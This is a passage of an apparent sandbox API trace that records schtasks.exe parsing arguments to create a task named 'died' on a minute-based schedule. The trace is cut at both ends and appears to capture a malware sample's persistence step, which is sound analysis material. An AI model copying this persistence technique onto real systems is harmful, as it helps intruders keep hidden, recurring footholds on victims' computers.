lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="change") returned 6 [0077.699] GetThreadLocale () returned 0x409 [0077.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="run") returned 3 [0077.699] GetThreadLocale () returned 0x409 [0077.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="end") returned 3 [0077.699] GetThreadLocale () returned 0x409 [0077.699] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.699] lstrlenW (lpString="showsid") returned 7 [0077.699] GetThreadLocale () returned 0x409 [0077.700] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.700] SetLastError (dwErrCode=0x0) [0077.700] SetLastError (dwErrCode=0x0) [0077.700] lstrlenW (lpString="/create") returned 7 [0077.700] lstrlenW (lpString="-/") returned 2 [0077.700] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.700] lstrlenW (lpString="?") returned 1 [0077.700] lstrlenW (lpString="?") returned 1 [0077.700] GetProcessHeap () returned 0x160000 [0077.700] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17c210 [0077.700] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.700] GetProcessHeap () returned 0x160000 [0077.700] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xa) returned 0x17c330 [0077.700] lstrlenW (lpString="create") returned 6 [0077.700] GetProcessHeap () returned 0x160000 [0077.700] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x18) returned 0x17c350 [0077.700] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.700] GetProcessHeap () returned 0x160000 [0077.700] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x14) returned 0x17c370 [0077.700] _vsnwprintf (in: _Buffer=0x17c330, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|?|") returned 3 [0077.700] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.700] lstrlenW (lpString="|?|") returned 3 [0077.700] lstrlenW (lpString="|create|") returned 8 [0077.700] SetLastError (dwErrCode=0x490) [0077.700] lstrlenW (lpString="create") returned 6 [0077.700] lstrlenW (lpString="create") returned 6 [0077.701] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.701] GetProcessHeap () returned 0x160000 [0077.701] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c330) returned 1 [0077.701] GetProcessHeap () returned 0x160000 [0077.701] RtlReAllocateHeap (Heap=0x160000, Flags=0xc, Ptr=0x17c330, Size=0x14) returned 0x17c390 [0077.701] lstrlenW (lpString="create") returned 6 [0077.701] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.701] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.701] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.701] lstrlenW (lpString="|create|") returned 8 [0077.701] lstrlenW (lpString="|create|") returned 8 [0077.701] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0077.701] SetLastError (dwErrCode=0x0) [0077.701] SetLastError (dwErrCode=0x0) [0077.701] SetLastError (dwErrCode=0x0) [0077.701] lstrlenW (lpString="/tn") returned 3 [0077.701] lstrlenW (lpString="-/") returned 2 [0077.701] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.701] lstrlenW (lpString="?") returned 1 [0077.701] lstrlenW (lpString="?") returned 1 [0077.701] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.701] lstrlenW (lpString="tn") returned 2 [0077.701] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.701] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|?|") returned 3 [0077.701] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.702] lstrlenW (lpString="|?|") returned 3 [0077.702] lstrlenW (lpString="|tn|") returned 4 [0077.702] SetLastError (dwErrCode=0x490) [0077.702] lstrlenW (lpString="create") returned 6 [0077.702] lstrlenW (lpString="create") returned 6 [0077.702] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.702] lstrlenW (lpString="tn") returned 2 [0077.702] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.702] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.702] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.702] lstrlenW (lpString="|create|") returned 8 [0077.702] lstrlenW (lpString="|tn|") returned 4 [0077.702] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0077.702] SetLastError (dwErrCode=0x490) [0077.702] lstrlenW (lpString="delete") returned 6 [0077.702] lstrlenW (lpString="delete") returned 6 [0077.702] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.702] lstrlenW (lpString="tn") returned 2 [0077.702] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.702] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|delete|") returned 8 [0077.702] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.702] lstrlenW (lpString="|delete|") returned 8 [0077.702] lstrlenW (lpString="|tn|") returned 4 [0077.702] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0077.703] SetLastError (dwErrCode=0x490) [0077.703] lstrlenW (lpString="query") returned 5 [0077.703] lstrlenW (lpString="query") returned 5 [0077.703] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.703] lstrlenW (lpString="tn") returned 2 [0077.703] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.703] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|query|") returned 7 [0077.703] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.703] lstrlenW (lpString="|query|") returned 7 [0077.703] lstrlenW (lpString="|tn|") returned 4 [0077.703] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0077.703] SetLastError (dwErrCode=0x490) [0077.703] lstrlenW (lpString="change") returned 6 [0077.703] lstrlenW (lpString="change") returned 6 [0077.703] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.703] lstrlenW (lpString="tn") returned 2 [0077.703] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.703] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|change|") returned 8 [0077.703] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.703] lstrlenW (lpString="|change|") returned 8 [0077.703] lstrlenW (lpString="|tn|") returned 4 [0077.703] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0077.703] SetLastError (dwErrCode=0x490) [0077.703] lstrlenW (lpString="run") returned 3 [0077.704] lstrlenW (lpString="run") returned 3 [0077.704] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.704] lstrlenW (lpString="tn") returned 2 [0077.704] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.704] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|run|") returned 5 [0077.704] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.704] lstrlenW (lpString="|run|") returned 5 [0077.704] lstrlenW (lpString="|tn|") returned 4 [0077.704] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0077.704] SetLastError (dwErrCode=0x490) [0077.704] lstrlenW (lpString="end") returned 3 [0077.704] lstrlenW (lpString="end") returned 3 [0077.704] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.704] lstrlenW (lpString="tn") returned 2 [0077.704] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.704] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|end|") returned 5 [0077.704] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.704] lstrlenW (lpString="|end|") returned 5 [0077.704] lstrlenW (lpString="|tn|") returned 4 [0077.704] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0077.704] SetLastError (dwErrCode=0x490) [0077.704] lstrlenW (lpString="showsid") returned 7 [0077.704] lstrlenW (lpString="showsid") returned 7 [0077.704] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.704] GetProcessHeap () returned 0x160000 [0077.705] HeapValidate (hHeap=0x160000, dwFlags=0x0, lpMem=0x17c390) returned 1 [0077.705] GetProcessHeap () returned 0x160000 [0077.705] RtlReAllocateHeap (Heap=0x160000, Flags=0xc, Ptr=0x17c390, Size=0x16) returned 0x17c390 [0077.705] lstrlenW (lpString="tn") returned 2 [0077.705] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.705] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|showsid|") returned 9 [0077.705] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|tn|") returned 4 [0077.705] lstrlenW (lpString="|showsid|") returned 9 [0077.705] lstrlenW (lpString="|tn|") returned 4 [0077.705] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0077.705] SetLastError (dwErrCode=0x490) [0077.705] SetLastError (dwErrCode=0x490) [0077.705] SetLastError (dwErrCode=0x0) [0077.705] lstrlenW (lpString="/tn") returned 3 [0077.705] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0077.705] SetLastError (dwErrCode=0x490) [0077.705] SetLastError (dwErrCode=0x0) [0077.705] lstrlenW (lpString="/tn") returned 3 [0077.705] GetProcessHeap () returned 0x160000 [0077.705] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x8) returned 0x17c330 [0077.705] GetProcessHeap () returned 0x160000 [0077.705] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cd60 [0077.705] SetLastError (dwErrCode=0x0) [0077.705] SetLastError (dwErrCode=0x0) [0077.706] lstrlenW (lpString="died") returned 4 [0077.706] lstrlenW (lpString="-/") returned 2 [0077.706] StrChrIW (lpStart="-/", wMatch=0x64) returned 0x0 [0077.706] SetLastError (dwErrCode=0x490) [0077.706] SetLastError (dwErrCode=0x490) [0077.706] SetLastError (dwErrCode=0x0) [0077.706] lstrlenW (lpString="died") returned 4 [0077.706] StrChrIW (lpStart="died", wMatch=0x3a) returned 0x0 [0077.706] SetLastError (dwErrCode=0x490) [0077.706] SetLastError (dwErrCode=0x0) [0077.706] lstrlenW (lpString="died") returned 4 [0077.706] GetProcessHeap () returned 0x160000 [0077.706] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xa) returned 0x17c3c0 [0077.706] GetProcessHeap () returned 0x160000 [0077.706] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cd90 [0077.706] SetLastError (dwErrCode=0x0) [0077.706] SetLastError (dwErrCode=0x0) [0077.706] lstrlenW (lpString="/sc") returned 3 [0077.706] lstrlenW (lpString="-/") returned 2 [0077.706] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.706] lstrlenW (lpString="?") returned 1 [0077.706] lstrlenW (lpString="?") returned 1 [0077.706] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.706] lstrlenW (lpString="sc") returned 2 [0077.706] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.706] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|?|") returned 3 [0077.706] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.707] lstrlenW (lpString="|?|") returned 3 [0077.707] lstrlenW (lpString="|sc|") returned 4 [0077.707] SetLastError (dwErrCode=0x490) [0077.707] lstrlenW (lpString="create") returned 6 [0077.707] lstrlenW (lpString="create") returned 6 [0077.707] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.707] lstrlenW (lpString="sc") returned 2 [0077.707] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.707] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.707] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.707] lstrlenW (lpString="|create|") returned 8 [0077.707] lstrlenW (lpString="|sc|") returned 4 [0077.707] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0077.707] SetLastError (dwErrCode=0x490) [0077.707] lstrlenW (lpString="delete") returned 6 [0077.707] lstrlenW (lpString="delete") returned 6 [0077.707] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.707] lstrlenW (lpString="sc") returned 2 [0077.707] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.707] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|delete|") returned 8 [0077.707] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.707] lstrlenW (lpString="|delete|") returned 8 [0077.707] lstrlenW (lpString="|sc|") returned 4 [0077.707] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0077.707] SetLastError (dwErrCode=0x490) [0077.708] lstrlenW (lpString="query") returned 5 [0077.708] lstrlenW (lpString="query") returned 5 [0077.708] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.708] lstrlenW (lpString="sc") returned 2 [0077.708] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.708] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|query|") returned 7 [0077.708] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.708] lstrlenW (lpString="|query|") returned 7 [0077.708] lstrlenW (lpString="|sc|") returned 4 [0077.708] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0077.708] SetLastError (dwErrCode=0x490) [0077.708] lstrlenW (lpString="change") returned 6 [0077.708] lstrlenW (lpString="change") returned 6 [0077.708] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.708] lstrlenW (lpString="sc") returned 2 [0077.708] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.708] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|change|") returned 8 [0077.708] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.708] lstrlenW (lpString="|change|") returned 8 [0077.708] lstrlenW (lpString="|sc|") returned 4 [0077.708] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0077.708] SetLastError (dwErrCode=0x490) [0077.708] lstrlenW (lpString="run") returned 3 [0077.709] lstrlenW (lpString="run") returned 3 [0077.709] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.709] lstrlenW (lpString="sc") returned 2 [0077.709] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.709] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|run|") returned 5 [0077.709] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.709] lstrlenW (lpString="|run|") returned 5 [0077.709] lstrlenW (lpString="|sc|") returned 4 [0077.709] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0077.709] SetLastError (dwErrCode=0x490) [0077.709] lstrlenW (lpString="end") returned 3 [0077.709] lstrlenW (lpString="end") returned 3 [0077.709] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.709] lstrlenW (lpString="sc") returned 2 [0077.709] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.709] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|end|") returned 5 [0077.709] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.709] lstrlenW (lpString="|end|") returned 5 [0077.709] lstrlenW (lpString="|sc|") returned 4 [0077.709] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0077.709] SetLastError (dwErrCode=0x490) [0077.709] lstrlenW (lpString="showsid") returned 7 [0077.709] lstrlenW (lpString="showsid") returned 7 [0077.709] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.709] lstrlenW (lpString="sc") returned 2 [0077.709] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.710] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|showsid|") returned 9 [0077.710] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|sc|") returned 4 [0077.710] lstrlenW (lpString="|showsid|") returned 9 [0077.710] lstrlenW (lpString="|sc|") returned 4 [0077.710] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0077.710] SetLastError (dwErrCode=0x490) [0077.710] SetLastError (dwErrCode=0x490) [0077.710] SetLastError (dwErrCode=0x0) [0077.710] lstrlenW (lpString="/sc") returned 3 [0077.710] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0077.710] SetLastError (dwErrCode=0x490) [0077.710] SetLastError (dwErrCode=0x0) [0077.710] lstrlenW (lpString="/sc") returned 3 [0077.710] GetProcessHeap () returned 0x160000 [0077.710] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x8) returned 0x17c3e0 [0077.710] GetProcessHeap () returned 0x160000 [0077.710] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cdc0 [0077.710] SetLastError (dwErrCode=0x0) [0077.710] SetLastError (dwErrCode=0x0) [0077.710] lstrlenW (lpString="MINUTE") returned 6 [0077.710] lstrlenW (lpString="-/") returned 2 [0077.710] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0077.710] SetLastError (dwErrCode=0x490) [0077.710] SetLastError (dwErrCode=0x490) [0077.710] SetLastError (dwErrCode=0x0) [0077.710] lstrlenW (lpString="MINUTE") returned 6 [0077.710] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0077.710] SetLastError (dwErrCode=0x490) [0077.710] SetLastError (dwErrCode=0x0) [0077.710] lstrlenW (lpString="MINUTE") returned 6 [0077.710] GetProcessHeap () returned 0x160000 [0077.710] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0xe) returned 0x17c400 [0077.710] GetProcessHeap () returned 0x160000 [0077.710] RtlAllocateHeap (HeapHandle=0x160000, Flags=0xc, Size=0x20) returned 0x17cdf0 [0077.711] SetLastError (dwErrCode=0x0) [0077.711] SetLastError (dwErrCode=0x0) [0077.711] lstrlenW (lpString="/mo") returned 3 [0077.711] lstrlenW (lpString="-/") returned 2 [0077.711] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.711] lstrlenW (lpString="?") returned 1 [0077.711] lstrlenW (lpString="?") returned 1 [0077.711] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.711] lstrlenW (lpString="mo") returned 2 [0077.711] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.711] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|?|") returned 3 [0077.711] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.711] lstrlenW (lpString="|?|") returned 3 [0077.711] lstrlenW (lpString="|mo|") returned 4 [0077.711] SetLastError (dwErrCode=0x490) [0077.711] lstrlenW (lpString="create") returned 6 [0077.711] lstrlenW (lpString="create") returned 6 [0077.711] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.711] lstrlenW (lpString="mo") returned 2 [0077.712] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.712] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|create|") returned 8 [0077.712] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.712] lstrlenW (lpString="|create|") returned 8 [0077.712] lstrlenW (lpString="|mo|") returned 4 [0077.712] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0077.712] SetLastError (dwErrCode=0x490) [0077.712] lstrlenW (lpString="delete") returned 6 [0077.712] lstrlenW (lpString="delete") returned 6 [0077.712] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.712] lstrlenW (lpString="mo") returned 2 [0077.712] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.712] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|delete|") returned 8 [0077.712] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.712] lstrlenW (lpString="|delete|") returned 8 [0077.712] lstrlenW (lpString="|mo|") returned 4 [0077.712] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0077.712] SetLastError (dwErrCode=0x490) [0077.712] lstrlenW (lpString="query") returned 5 [0077.712] lstrlenW (lpString="query") returned 5 [0077.712] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.712] lstrlenW (lpString="mo") returned 2 [0077.712] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.712] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|query|") returned 7 [0077.713] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.713] lstrlenW (lpString="|query|") returned 7 [0077.713] lstrlenW (lpString="|mo|") returned 4 [0077.713] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0077.713] SetLastError (dwErrCode=0x490) [0077.713] lstrlenW (lpString="change") returned 6 [0077.713] lstrlenW (lpString="change") returned 6 [0077.713] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.713] lstrlenW (lpString="mo") returned 2 [0077.713] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.713] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|change|") returned 8 [0077.713] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.713] lstrlenW (lpString="|change|") returned 8 [0077.713] lstrlenW (lpString="|mo|") returned 4 [0077.713] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0077.713] SetLastError (dwErrCode=0x490) [0077.713] lstrlenW (lpString="run") returned 3 [0077.713] lstrlenW (lpString="run") returned 3 [0077.713] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.713] lstrlenW (lpString="mo") returned 2 [0077.713] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.713] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|run|") returned 5 [0077.713] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.713] lstrlenW (lpString="|run|") returned 5 [0077.713] lstrlenW (lpString="|mo|") returned 4 [0077.714] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0077.714] SetLastError (dwErrCode=0x490) [0077.714] lstrlenW (lpString="end") returned 3 [0077.714] lstrlenW (lpString="end") returned 3 [0077.714] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.714] lstrlenW (lpString="mo") returned 2 [0077.714] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.714] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|end|") returned 5 [0077.714] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.714] lstrlenW (lpString="|end|") returned 5 [0077.714] lstrlenW (lpString="|mo|") returned 4 [0077.714] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0077.714] SetLastError (dwErrCode=0x490) [0077.714] lstrlenW (lpString="showsid") returned 7 [0077.714] lstrlenW (lpString="showsid") returned 7 [0077.714] _memicmp (_Buf1=0x17c210, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.714] lstrlenW (lpString="mo") returned 2 [0077.714] _memicmp (_Buf1=0x17c350, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.714] _vsnwprintf (in: _Buffer=0x17c390, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|showsid|") returned 9 [0077.714] _vsnwprintf (in: _Buffer=0x17c370, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf3b8 | out: _Buffer="|mo|") returned 4 [0077.714] lstrlenW (lpString="|showsid|") 